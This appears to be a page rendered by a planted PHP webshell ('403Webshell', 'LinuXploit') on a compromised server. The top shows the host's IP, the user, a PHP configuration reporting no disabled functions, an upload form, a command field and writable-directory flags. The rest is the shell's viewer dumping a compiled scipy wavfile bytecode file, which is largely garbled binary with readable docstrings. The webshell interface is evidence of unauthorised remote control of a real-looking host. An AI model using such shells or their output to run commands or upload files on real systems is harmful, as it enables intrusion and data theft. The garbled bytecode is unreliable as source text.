403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/io/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/io/__pycache__/wavfile.cpython-311.pyc
�

d�ch����dZddlZddlZddlZddlZddlZddlmZgd�ZGd�de	��Z
Gd�de��Zejej
hZd	�Zd
�Z	dd�Zd
�Zd�Zd�Zdd�Zd�Zd�ZdS)z�
Module to read / write wav files using NumPy arrays

Functions
---------
`read`: Return the sample rate (in samples/sec) and data from a WAV file.

`write`: Write a NumPy array as a WAV file.

�N)�IntEnum)�WavFileWarning�read�writec��eZdZdS)rN)�__name__�
__module__�__qualname__���2/usr/lib/python3/dist-packages/scipy/io/wavfile.pyrrs�������Drrc�~�eZdZdZdZdZdZdZdZdZ	dZ
d	Zd
ZdZ
dZd
ZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZdZ dZ!dZ"d Z#d!Z$d"Z%d#Z&d$Z'd%Z(d&Z)d'Z*d(Z+d)Z,d*Z-d+Z.d,Z/d-Z0d.Z1d/Z2d0Z3d1Z4d2Z5d3Z6d4Z7d5Z8d6Z9d7Z:d8Z;d9Z<d:Z=d;Z>d<Z?d=Z@d>ZAd?ZBd@ZCdAZDdBZEdCZFdDZGdEZHdFZIdGZJdHZKdIZLdJZMdKZNdLZOdMZPdNZQdOZRdPZSdQZTdRZUdSZVdTZWdUZXdVZYdWZZdXZ[dYZ\dZZ]d[Z^d\Z_d]Z`d^Zad_Zbd`ZcdaZddbZedcZfddZgdeZhdfZidgZjdhZkdiZldjZmdkZndlZodmZpdnZqdoZrdpZsdqZtdrZudsZvdtZwduZxdvZydwZzdxZ{dyZ|dzZ}d{Z~d|Zd}Z�d~Z�dZ�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d��Zd��Zd��Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z�d�Z	�d�Z
�d�Z�d	�Z�d
�Z
�d�Z�d�Z�d
S(�WAVE_FORMATz�
    WAVE form wFormatTag IDs

    Complete list is in mmreg.h in Windows 10 SDK.  ALAC and OPUS are the
    newest additions, in v10.0.14393 2016-07
    r���������	�
������������� �!�"�#�$�%�&�'�(�0�1�2�3�4�5�6�7�8�9�:�;�<�=�@�A�B�C�D�E�P�R�S�U�Y�`�a�b�c�d�e�f�g�i�p�q�r�s�t�u�v�w�x�y�z�{����������������������������iiii i!i#i%i0i1i2i3i4i5i6i@iAiBiPiQiUi`iaibicidipiqirisitiuiviwixi�i�iiiiiii i0i@iAiIiPiQi`ipiqirisi�i�i�iiPiQiiiiPiii�i�i�iiiiiiiiiiiiiiiiii	i
iiiiqiyiiii�i i i3iCAiBiCBiLCiLViVWiOgiPgiQgiogipgiqgialipiOpimpiasibsicsi!zi"zi�i�i�i�i�i�i�i�i�i	�i
�i�i�i
�i�i�i�i�i�i�i�i�i�i�i�i�i�i�i�i�i�i�i �i!�i"�i#�i$�i��i��i��N(rr	r
�__doc__�UNKNOWN�PCM�ADPCM�
IEEE_FLOAT�VSELP�IBM_CVSD�ALAW�MULAW�DTS�DRM�	WMAVOICE9�
WMAVOICE10�	OKI_ADPCM�	DVI_ADPCM�	IMA_ADPCM�MEDIASPACE_ADPCM�SIERRA_ADPCM�
G723_ADPCM�DIGISTD�DIGIFIX�DIALOGIC_OKI_ADPCM�MEDIAVISION_ADPCM�CU_CODEC�HP_DYN_VOICE�YAMAHA_ADPCM�SONARC�DSPGROUP_TRUESPEECH�ECHOSC1�AUDIOFILE_AF36�APTX�AUDIOFILE_AF10�PROSODY_1612�LRC�	DOLBY_AC2�GSM610�MSNAUDIO�ANTEX_ADPCME�CONTROL_RES_VQLPC�DIGIREAL�	DIGIADPCM�CONTROL_RES_CR10�NMS_VBXADPCM�CS_IMAADPCM�ECHOSC3�ROCKWELL_ADPCM�ROCKWELL_DIGITALK�XEBEC�
G721_ADPCM�	G728_CELP�MSG723�INTEL_G723_1�
INTEL_G729�
SHARP_G726�MPEG�RT24�PAC�
MPEGLAYER3�LUCENT_G723�CIRRUS�ESPCM�VOXWARE�
CANOPUS_ATRAC�
G726_ADPCM�
G722_ADPCM�DSAT�DSAT_DISPLAY�VOXWARE_BYTE_ALIGNED�VOXWARE_AC8�VOXWARE_AC10�VOXWARE_AC16�VOXWARE_AC20�VOXWARE_RT24�VOXWARE_RT29�VOXWARE_RT29HW�VOXWARE_VR12�VOXWARE_VR18�VOXWARE_TQ40�VOXWARE_SC3�
VOXWARE_SC3_1�	SOFTSOUND�VOXWARE_TQ60�MSRT24�G729A�MVI_MVI2�DF_G726�	DF_GSM610�ISIAUDIO�ONLIVE�MULTITUDE_FT_SX20�INFOCOM_ITS_G721_ADPCM�
CONVEDIA_G729�
CONGRUENCY�SBC24�DOLBY_AC3_SPDIF�MEDIASONIC_G723�
PROSODY_8KBPS�ZYXEL_ADPCM�
PHILIPS_LPCBB�PACKED�MALDEN_PHONYTALK�RACAL_RECORDER_GSM�RACAL_RECORDER_G720_A�RACAL_RECORDER_G723_1�RACAL_RECORDER_TETRA_ACELP�NEC_AAC�RAW_AAC1�RHETOREX_ADPCM�IRAT�	VIVO_G723�
VIVO_SIREN�PHILIPS_CELP�PHILIPS_GRUNDIG�DIGITAL_G723�SANYO_LD_ADPCM�SIPROLAB_ACEPLNET�SIPROLAB_ACELP4800�SIPROLAB_ACELP8V3�
SIPROLAB_G729�SIPROLAB_G729A�SIPROLAB_KELVIN�VOICEAGE_AMR�	G726ADPCM�DICTAPHONE_CELP68�DICTAPHONE_CELP54�QUALCOMM_PUREVOICE�QUALCOMM_HALFRATE�TUBGSM�MSAUDIO1�WMAUDIO2�WMAUDIO3�WMAUDIO_LOSSLESS�WMASPDIF�UNISYS_NAP_ADPCM�UNISYS_NAP_ULAW�UNISYS_NAP_ALAW�UNISYS_NAP_16K�SYCOM_ACM_SYC008�SYCOM_ACM_SYC701_G726L�SYCOM_ACM_SYC701_CELP54�SYCOM_ACM_SYC701_CELP68�KNOWLEDGE_ADVENTURE_ADPCM�FRAUNHOFER_IIS_MPEG2_AAC�DTS_DS�CREATIVE_ADPCM�CREATIVE_FASTSPEECH8�CREATIVE_FASTSPEECH10�
UHER_ADPCM�ULEAD_DV_AUDIO�ULEAD_DV_AUDIO_1�QUARTERDECK�ILINK_VC�	RAW_SPORT�ESST_AC3�GENERIC_PASSTHRU�IPI_HSX�	IPI_RPELP�CS2�SONY_SCX�SONY_SCY�SONY_ATRAC3�SONY_SPC�TELUM_AUDIO�TELUM_IA_AUDIO�NORCOM_VOICE_SYSTEMS_ADPCM�FM_TOWNS_SND�MICRONAS�MICRONAS_CELP833�BTV_DIGITAL�INTEL_MUSIC_CODER�INDEO_AUDIO�
QDESIGN_MUSIC�
ON2_VP7_AUDIO�
ON2_VP6_AUDIO�	VME_VMPCM�TPC�LIGHTWAVE_LOSSLESS�OLIGSM�OLIADPCM�OLICELP�OLISBC�OLIOPR�LH_CODEC�
LH_CODEC_CELP�
LH_CODEC_SBC8�LH_CODEC_SBC12�LH_CODEC_SBC16�NORRIS�
ISIAUDIO_2�SOUNDSPACE_MUSICOMPRESS�
MPEG_ADTS_AAC�MPEG_RAW_AAC�	MPEG_LOAS�NOKIA_MPEG_ADTS_AAC�NOKIA_MPEG_RAW_AAC�VODAFONE_MPEG_ADTS_AAC�VODAFONE_MPEG_RAW_AAC�
MPEG_HEAAC�VOXWARE_RT24_SPEECH�SONICFOUNDRY_LOSSLESS�INNINGS_TELECOM_ADPCM�LUCENT_SX8300P�LUCENT_SX5363S�CUSEEME�NTCSOFT_ALF2CM_ACM�DVM�DTS2�MAKEAVIS�DIVIO_MPEG4_AAC�NOKIA_ADAPTIVE_MULTIRATE�
DIVIO_G726�LEAD_SPEECH�LEAD_VORBIS�
WAVPACK_AUDIO�OGG_VORBIS_MODE_1�OGG_VORBIS_MODE_2�OGG_VORBIS_MODE_3�OGG_VORBIS_MODE_1_PLUS�OGG_VORBIS_MODE_2_PLUS�OGG_VORBIS_MODE_3_PLUS�ALAC�	_3COM_NBX�OPUS�FAAD_AAC�AMR_NB�AMR_WB�AMR_WP�GSM_AMR_CBR�GSM_AMR_VBR_SID�COMVERSE_INFOSYS_G723_1�COMVERSE_INFOSYS_AVQSBC�COMVERSE_INFOSYS_SBC�
SYMBOL_G729_A�VOICEAGE_AMR_WB�INGENIENT_G726�	MPEG4_AAC�ENCORE_G726�	ZOLL_ASAO�SPEEX_VOICE�VIANIX_MASC�WM9_SPECTRUM_ANALYZER�WMF_SPECTRUM_ANAYZER�GSM_610�GSM_620�GSM_660�GSM_690�GSM_ADAPTIVE_MULTIRATE_WB�POLYCOM_G722�POLYCOM_G728�POLYCOM_G729_A�
POLYCOM_SIREN�GLOBAL_IP_ILBC�RADIOTIME_TIME_SHIFT_RADIO�NICE_ACA�
NICE_ADPCM�VOCORD_G721�VOCORD_G726�
VOCORD_G722_1�VOCORD_G728�VOCORD_G729�
VOCORD_G729_A�
VOCORD_G723_1�
VOCORD_LBC�	NICE_G728�FRACE_TELECOM_G729�CODIAN�FLAC�
EXTENSIBLE�DEVELOPMENTrrr
rrs����������G�
�C��E��J��E��H��D��E�
�C�
�C��I��J��I��I��I����L��J��G��G������H��L��L�
�F� ���G��N��D��N��L�
�C��I�
�F��H��L����H��I����L��K��G��N����E��J��I�
�F��L��J��J��D��D�
�C��J��K�
�F��E��G��M��J��J��D��L�!���K��L��L��L��L��L��N��L��L��L��K��M��I��L�
�F��E��H��G��I��H�
�F���#���M��J��E��O��O��M��K��M�
�F�����"��"��!'���G��H��N��D��I��J��L��O��L��N��������M��N��O��L��I���������
�F��H��H��H����H����O��O��N���#��$��$�� &��%��
�F��N�!��"���J��N����K��H��I��H����G��I�
�C��H��H��K��H��K��N�!'���L��H����K����K��M��M��M��I�
�C���
�F��H��G�
�F�
�F��H��M��M��N��N�
�F��J�$���M��L��I� ����#��"���J� ��"��"���N��N��G���
�C��D��H��O�%���J��K��K��M�������#��#��#���D��I��D��H�
�F�
�F�
�F��K��O�$��$��!���M��O��N��I��K��I��K��K�"��!���G��G��G��G� &���L��L��N��M��N�!'���H��J��K��K��M��K��K��M��M��J��I���
�F��D��J��K�K�Krrc���	t|��j}n#t$r|d�}YnwxYwtd|�d�d�d�tD����z���)Nz#06xzUnknown wave file format: z. Supported formats: z, c3�$K�|]}|jV��dS)N)�name)�.0�xs  r
�	<genexpr>z$_raise_bad_format.<locals>.<genexpr>=s$����B�B�!�q�v�B�B�B�B�B�Br)rr��
ValueError�join�KNOWN_WAVE_FORMATS)�
format_tag�format_names  r
�_raise_bad_formatr�6s���+�!�*�-�-�2�����+�+�+�#�*�*����+����
�!�+�!�!�!��Y�Y�B�B�/A�B�B�B�B�B�C�D�D�Ds��(�(c��|rd}nd}tj|dz|�d����d}|dkrtd���tj|dz|�d����}d}|\}}}}	}
}|tjkr�|d	kr�tj|d
z|�d����d}|dz
}|dkrg|�d��}
|dz
}|
d
d�}|rd}nd}|�|��r&tj|dz|dd���d}ntd���|tvrt|��||kr|�||z
��t||��|tj
kr!|	||
zkrtd|�d|
�d|	�����|||||	|
|fS)a%
    Returns
    -------
    size : int
        size of format subchunk in bytes (minus 8 for "fmt " and itself)
    format_tag : int
        PCM, float, or compressed format
    channels : int
        number of channels
    fs : int
        sampling frequency in samples per second
    bytes_per_second : int
        overall byte rate for the file
    block_align : int
        bytes per sample, including all channels
    bit_depth : int
        bits per sample

    Notes
    -----
    Assumes file pointer is immediately after the 'fmt ' id
    �>�<�Irrrz.Binary structure of wave file is not compliant�HHIIHHr�Hrr!rs��8�qs��8�qNz{WAV header is invalid: nAvgBytesPerSec must equal product of nSamplesPerSec and nBlockAlign, but file has nSamplesPerSec = z, nBlockAlign = z, and nAvgBytesPerSec = )�struct�unpackrr�rr��endswithr�r��_handle_pad_byter{)�fid�
is_big_endian�fmt�size�res�
bytes_readr��channels�fs�bytes_per_second�block_align�	bit_depth�ext_chunk_size�extensible_chunk_data�raw_guid�tails                r
�_read_fmt_chunkr�@s;��.��������=��S��#�(�(�1�+�+�.�.�q�1�D��b�y�y��I�J�J�J�
�-��H��c�h�h�r�l�l�
3�
3�C��J�IL�F�J��"�.��Y��[�+�+�+�������s�3�w�������<�<�Q�?���a��
��R���$'�H�H�R�L�L�!��"��J�,�S��Z�8�H��
K�J���J��� � ��&�&�
E�#�]�3�s�7�H�R�a�R�L�A�A�!�D�
���M�N�N�N��+�+�+��*�%�%�%��j�������
�"�#�#�#��S�$�����[�_�$�$��r�K�/�/�/��F�"$�F�F�6A�F�F�4D�	F�F�G�G�
G�
�*�h��,<�k���rFc�j�|rd}nd}tj|dz|�d����d}||z}	||	z}
|tjkr;d|cxkrdkrnnd}nf|	d	vrd
}n_|dkr|�d|	��}nQtd
|�d����|tjkr|dvr|�d|	��}n"td
|�d����t|��|���}|�sF	|d
kr|n|
}
tj
|||
���}nT#tj$rB|�
|d��tj|�|��|���}YnwxYw|d
kr�|	dkr|�d�n|�d�}tjt!|��|	ztj|��jfd
���}|r!|�d|	f��|dd�d|	�f<n!|�d|	f��|dd�|	d�f<|�|���|jdd���}n^|	dvrG|���}tj||d||
f���}|�
||z��ntd|	�d����t/||��|dkr|�d|��}|S)a
    Notes
    -----
    Assumes file pointer is immediately after the 'data' id

    It's possible to not use all available bits in a container, or to store
    samples in a container bigger than necessary, so bytes_per_sample uses
    the actual reported container size (nBlockAlign / nChannels).  Real-world
    examples:

    Adobe Audition's "24-bit packed int (type 1, 20-bit)"

        nChannels = 2, nBlockAlign = 6, wBitsPerSample = 20

    http://www-mmsp.ece.mcgill.ca/Documents/AudioFormats/WAVE/Samples/AFsp/M1F1-int12-AFsp.wav
    is:

        nChannels = 2, nBlockAlign = 4, wBitsPerSample = 12

    http://www-mmsp.ece.mcgill.ca/Documents/AudioFormats/WAVE/Docs/multichaudP.pdf
    gives an example of:

        nChannels = 2, nBlockAlign = 8, wBitsPerSample = 20
    r�r�r�rrrr�u1>rrrr�V1r=�iz(Unsupported bit depth: the WAV file has z-bit integer data.>r&r=�fz-bit floating-point data.)�dtype�count)r�r�i4�i8���N>rrrr�c)r��mode�offset�shapezmmap=True not compatible with z-byte container size.)r�r�rrr{r�r}r��tell�numpy�fromfile�io�UnsupportedOperation�seek�
frombuffer�zeros�lenr��itemsize�reshape�viewr��memmapr�)r�r�r�r�r�r��mmapr�r��bytes_per_sample�	n_samplesr��startr��data�dt�as                 r
�_read_data_chunkr��s���4��������=��S��#�(�(�1�+�+�.�.�q�1�D�#�h�.���(�(�I��[�_�$�$��	�����Q�������E�E�
��
-�
-��E�E�
�"�_�_��/�/�-�/�/�E�E��B�$-�B�B�B�C�C�
C�	�{�-�	-�	-��� � ��/�/�-�/�/�E�E��I�$-�I�I�I�J�J�
J�	�*�%�%�%��H�H�J�J�E��I�	A�!�T�M�M�D�D�y�E��>�#�U�%�@�@�@�D�D���&�	A�	A�	A��H�H�U�A�����#�C�H�H�T�N�N�%�@�@�@�D�D�D�	A�����D�=�=�/�1�4�4�C�����S�*�*�*�B���S��Y�Y�*:�:�E�K��O�O�<T�U�"&�(�(�(�A��
P�*.�,�,��<L�7M�*N�*N��!�!�!�&�&�&�&�'�'�+/�<�<��=M�8N�+O�+O��!�!�!�&�&�'�'�'�(��6�6�"�:�:�%�%�a�g�c�r�c�l�3�3�D���|�+�+��H�H�J�J�E��<��5�s�5�'0�l�4�4�4�D��H�H�U�T�\�"�"�"�"��H� 0�H�H�H�I�I�
I��S�$�����!�|�|��|�|�B��)�)���Ks�$!D�AE�Ec���|rd}nd}|�d��}|rCtj||��d}|�|d��t	||��dSdS)N�>I�<Irrr)rr�r�r�r�)r�r�r�r�r�s     r
�_skip_unknown_chunkr��sy����������8�8�A�;�;�D�
�$��}�S�$�'�'��*������q������d�#�#�#�#�#�$�$rc�x�|�d��}|dkrd}d}n+|dkrd}d}n tdt|���d	����tj||�d����d
dz}|�d��}|dkr td
t|���d����||fS)Nr�RIFFFr�sRIFXTr�zFile format z2 not understood. Only 'RIFF' and 'RIFX' supported.rr�WAVEz"Not a WAV file. RIFF form type is �.)rr��reprr�r�)r��str1r�r��	file_size�str2s      r
�_read_riff_chunkr��s����8�8�A�;�;�D��w����
����	
�����
�����8��T�
�
�8�8�8�9�9�	9��
�c�3�8�8�A�;�;�/�/��2�Q�6�I��8�8�A�;�;�D��w����K�d�4�j�j�K�K�K�L�L�L��m�#�#rc�@�|dzr|�dd��dSdS)Nrr)r�)r�r�s  r
r�r�s/���a�x������A�������rc	��t|d��r|}d}nt|d��}	t|��\}}d}d}|���|k�r�|�d��}|sU|rDtjd�|���|��td����nUtd���t|��dkrEd	t|����}|r"|r tj|d
ztd���nt|���|dkr1d}t||��}	|	d
d�\}
}}|	d}
|	d}n�|dkrt||��n�|dkr)d}|std���t||
||
|||��}nX|dkrt||��nA|dvrt||��n,tjdtd���t||��|���|k���t|d��s|���nU|�d��n?#t|d��s|���w|�d��wxYw||fS)a
    Open a WAV file.

    Return the sample rate (in samples/sec) and data from an LPCM WAV file.

    Parameters
    ----------
    filename : string or open file handle
        Input WAV file.
    mmap : bool, optional
        Whether to read data as memory-mapped (default: False).  Not compatible
        with some bit depths; see Notes.  Only to be used on real files.

        .. versionadded:: 0.12.0

    Returns
    -------
    rate : int
        Sample rate of WAV file.
    data : numpy array
        Data read from WAV file. Data-type is determined from the file;
        see Notes.  Data is 1-D for 1-channel WAV, or 2-D of shape
        (Nsamples, Nchannels) otherwise. If a file-like input without a
        C-like file descriptor (e.g., :class:`python:io.BytesIO`) is
        passed, this will not be writeable.

    Notes
    -----
    Common data types: [1]_

    =====================  ===========  ===========  =============
         WAV format            Min          Max       NumPy dtype
    =====================  ===========  ===========  =============
    32-bit floating-point  -1.0         +1.0         float32
    32-bit integer PCM     -2147483648  +2147483647  int32
    24-bit integer PCM     -2147483648  +2147483392  int32
    16-bit integer PCM     -32768       +32767       int16
    8-bit integer PCM      0            255          uint8
    =====================  ===========  ===========  =============

    WAV files can specify arbitrary bit depth, and this function supports
    reading any integer PCM depth from 1 to 64 bits.  Data is returned in the
    smallest compatible numpy int type, in left-justified format.  8-bit and
    lower is unsigned, while 9-bit and higher is signed.

    For example, 24-bit data will be stored as int32, with the MSB of the
    24-bit data stored at the MSB of the int32, and typically the least
    significant byte is 0x00.  (However, if a file actually contains data past
    its specified bit depth, those bits will be read and output, too. [2]_)

    This bit justification and sign matches WAV's native internal format, which
    allows memory mapping of WAV files that use 1, 2, 4, or 8 bytes per sample
    (so 24-bit files cannot be memory-mapped, but 32-bit can).

    IEEE float PCM in 32- or 64-bit format is supported, with or without mmap.
    Values exceeding [-1, +1] are not clipped.

    Non-linear PCM (mu-law, A-law) is not supported.

    References
    ----------
    .. [1] IBM Corporation and Microsoft Corporation, "Multimedia Programming
       Interface and Data Specifications 1.0", section "Data Format of the
       Samples", August 1991
       http://www.tactilemedia.com/info/MCI_Control_Info.html
    .. [2] Adobe Systems Incorporated, "Adobe Audition 3 User Guide", section
       "Audio file formats: 24-bit Packed Int (type 1, 20-bit)", 2007

    Examples
    --------
    >>> from os.path import dirname, join as pjoin
    >>> from scipy.io import wavfile
    >>> import scipy.io

    Get the filename for an example .wav file from the tests/data directory.

    >>> data_dir = pjoin(dirname(scipy.io.__file__), 'tests', 'data')
    >>> wav_fname = pjoin(data_dir, 'test-44100Hz-2ch-32bit-float-be.wav')

    Load the .wav file contents.

    >>> samplerate, data = wavfile.read(wav_fname)
    >>> print(f"number of channels = {data.shape[1]}")
    number of channels = 2
    >>> length = data.shape[0] / samplerate
    >>> print(f"length = {length}s")
    length = 0.01s

    Plot the waveform.

    >>> import matplotlib.pyplot as plt
    >>> import numpy as np
    >>> time = np.linspace(0., length, data.shape[0])
    >>> plt.plot(time, data[:, 0], label="Left channel")
    >>> plt.plot(time, data[:, 1], label="Right channel")
    >>> plt.legend()
    >>> plt.xlabel("Time [s]")
    >>> plt.ylabel("Amplitude")
    >>> plt.show()

    rF�rbrzQReached EOF prematurely; finished at {:d} bytes, expected {:d} bytes from header.r)�
stacklevelzUnexpected end of file.zIncomplete chunk ID: z, ignoring it.�fmt Trrr�fact�datazNo fmt chunk before datasLIST>�Fake�JUNKz-Chunk (non-data) not understood, skipping it.r)�hasattr�openr�r�r�warnings�warn�formatrr�r�r�r�r�r��closer�)�filenamer�r�r�r��fmt_chunk_received�data_chunk_received�chunk_id�msg�	fmt_chunkr�r�r�r�r�r�s                r
rrs���L�x�� � �#�������8�T�"�"��8�#3�C�#8�#8� �	�=�"��#���h�h�j�j�9�$�$��x�x��{�{�H��
*�&�	@��M�;������
�
�I�6�6�&�1�	6�6�6�6�
�$�%>�?�?�?��X����"�"�>�d�8�n�n�>�>��%�*�*=�*��M�#�(8�"8�.�-.�0�0�0�0�0�%�S�/�/�)��7�"�"�%)�"�+�C��?�?�	�+4�Q�q�S�>�(�
�H�b�%�a�L�	�'��l����W�$�$�#�C��7�7�7�7��W�$�$�&*�#�)�A�$�%?�@�@�@�'��Z��9�(5�{�D�J�J����W�$�$�#�C��7�7�7�7��/�/�/�#�C��7�7�7�7��
�M�,��<�<�<�<�#�C��7�7�7�_�h�h�j�j�9�$�$�b�x��(�(�	��I�I�K�K�K�K��H�H�Q�K�K�K�K���x��(�(�	��I�I�K�K�K�K��H�H�Q�K�K�K�K����
�t�8�Os�G!I�<I?c	�,�t|d��r|}nt|d��}|}	|jj}|dks3|dks-|dkr|jjdkstd|jz���d}|d	z
}|d
z
}|dz
}|dz
}|dkr
tj}ntj}|j	dkrd}n
|j
d}|jjd
z}	||	d
zz|z}
||	d
zz}tjd||||
||	��}|dks|dks|dz
}|tjdt|����z
}||z
}|dks/|dks)|dz
}|tjdd|j
d��z
}t|��dz
dz
d
|jzzdkrtd���|�|��|�d��|�tjd|j����|jjdks |jjdkr$t"jdkr|���}t'||��|���}
|�d��|�tjd|
d
z
����t|d��s|���dS|�d��dS#t|d��s|���w|�d��wxYw)a�
    Write a NumPy array as a WAV file.

    Parameters
    ----------
    filename : string or open file handle
        Output wav file.
    rate : int
        The sample rate (in samples/sec).
    data : ndarray
        A 1-D or 2-D NumPy array of either integer or float data-type.

    Notes
    -----
    * Writes a simple uncompressed WAV file.
    * To write multiple-channels, use a 2-D array of shape
      (Nsamples, Nchannels).
    * The bits-per-sample and PCM/float will be determined by the data-type.

    Common data types: [1]_

    =====================  ===========  ===========  =============
         WAV format            Min          Max       NumPy dtype
    =====================  ===========  ===========  =============
    32-bit floating-point  -1.0         +1.0         float32
    32-bit PCM             -2147483648  +2147483647  int32
    16-bit PCM             -32768       +32767       int16
    8-bit PCM              0            255          uint8
    =====================  ===========  ===========  =============

    Note that 8-bit PCM is unsigned.

    References
    ----------
    .. [1] IBM Corporation and Microsoft Corporation, "Multimedia Programming
       Interface and Data Specifications 1.0", section "Data Format of the
       Samples", August 1991
       http://www.tactilemedia.com/info/MCI_Control_Info.html

    Examples
    --------
    Create a 100Hz sine wave, sampled at 44100Hz.
    Write to 16-bit PCM, Mono.

    >>> from scipy.io.wavfile import write
    >>> import numpy as np
    >>> samplerate = 44100; fs = 100
    >>> t = np.linspace(0., 1., samplerate)
    >>> amplitude = np.iinfo(np.int16).max
    >>> data = amplitude * np.sin(2. * np.pi * fs * t)
    >>> write("example.wav", samplerate, data.astype(np.int16))

    r�wbr�r��urzUnsupported data type '%s'rr�sr�r�rz<HHIIHHsr�r�z<IIrrl��z!Data exceeds wave file size limitr�r��=�bigN)r�r�r��kindr�r�rr}r{�ndimr�r��packr��nbytesr�	byteorder�sys�byteswap�
_array_tofiler�r�r�)r��rater�r�r��dkind�header_datar�r�r�r�r��fmt_chunk_datar�s              r
rr�s0��l�x��!�!�#�����8�T�"�"��	
�B�@��
������������#���15��1D��1I�1I��9�D�J�F�G�G�G����w����*�*���w���	�w����C�<�<�$�/�J�J�$��J��9��>�>��H�H��z�!�}�H��J�'�!�+�	��y�A�~�.�x�7���)�q�.�1����Y�
�H�b�%5�{�I�O�O�����������k�)�N��v�{�4��^�)<�)<�=�=�=���~�%�����������7�"�K��6�;�u�a���A��?�?�?�K���
�
�a�
��
!�c�$�+�o�6�*�D�D��@�A�A�A��	�	�+����	�	�	�'�����	�	�&�+�d�D�K�0�0�1�1�1��:��3�&�&�4�:�+?�3�+F�+F�+.�=�E�+A�+A��=�=�?�?�D��c�4� � � ��x�x�z�z����������	�	�&�+�d�D��F�+�+�,�,�,��x��)�)�	��I�I�K�K�K�K�K��H�H�Q�K�K�K�K�K���x��)�)�	��I�I�K�K�K�K��H�H�Q�K�K�K�K���s�I3K�<Lc��|�|����d��j��dS)N�b)r�ravelr�r�)r�r�s  r
r�r�Fs3���I�I�d�j�j�l�l����$�$�)�*�*�*�*�*r)F)ryr�r�r�r�r��enumr�__all__�UserWarningrrr{r}r�r�r�r�r�r�r�rrr�rrr
�<module>rs���	�	�
�	�	�	�
�
�
�
�����
�
�
�
���������������	�	�	�	�	�[�	�	�	�R�R�R�R�R�'�R�R�R�j"�o�{�'=�>��D�D�D�L�L�L�`(-�\�\�\�\�~$�$�$�"$�$�$�.���f�f�f�f�R}�}�}�@+�+�+�+�+r

Youez - 2016 - github.com/yon3zu
LinuXploit